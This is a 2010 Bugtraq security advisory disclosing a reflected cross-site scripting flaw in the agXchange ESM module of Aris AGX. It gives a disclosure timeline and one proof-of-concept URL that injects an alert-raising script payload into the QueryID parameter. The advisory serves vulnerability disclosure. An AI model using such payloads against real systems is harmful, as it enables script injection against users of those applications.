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Date: 22 Mar 2010 21:55:08 -0000
From: lament@...ack.org
To: bugtraq@...urityfocus.com
Subject: Aris AGX agXchange ESM Cross Site Scripting Vulnerability

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Yaniv Miron aka "Lament" Advisory March 12, 2010
Aris AGX agXchange ESM Cross Site Scripting Vulnerability
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I. BACKGROUND
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E2B safety submissions module.

When it comes to the electronic submission of safety data using the E2B format,
meeting the often complicated and complex requirements from different regulatory
agenciesóEMEA, MHLW, FDA and other NCAsócan be a challenge that consumes
vast amounts of time, effort and resources.

http://www.arisglobal.com/products/agxchange_esm.php


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II. DESCRIPTION
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A malicious attacker may inject scripts into the agXchange ESM module in the Aris AGX application.

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III. ANALYSIS
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Exploitation of this vulnerability results in the execution of arbitrary
code using a malicious link.

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IV. EXPLOIT
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http://www.example.com/[agx_application]/pages/ucquerydetails.jsp?QueryID=>%22%27><img%20src%3d%22javascript:alert(31337)%22>

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V. DISCLOSURE TIMELINE
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Jan 2009 Vulnerability found
Jan 2009 Vendor Notification
March 2010 Public Disclosure

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VI. CREDIT
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Yaniv Miron aka "Lament".
lament@...ack.org

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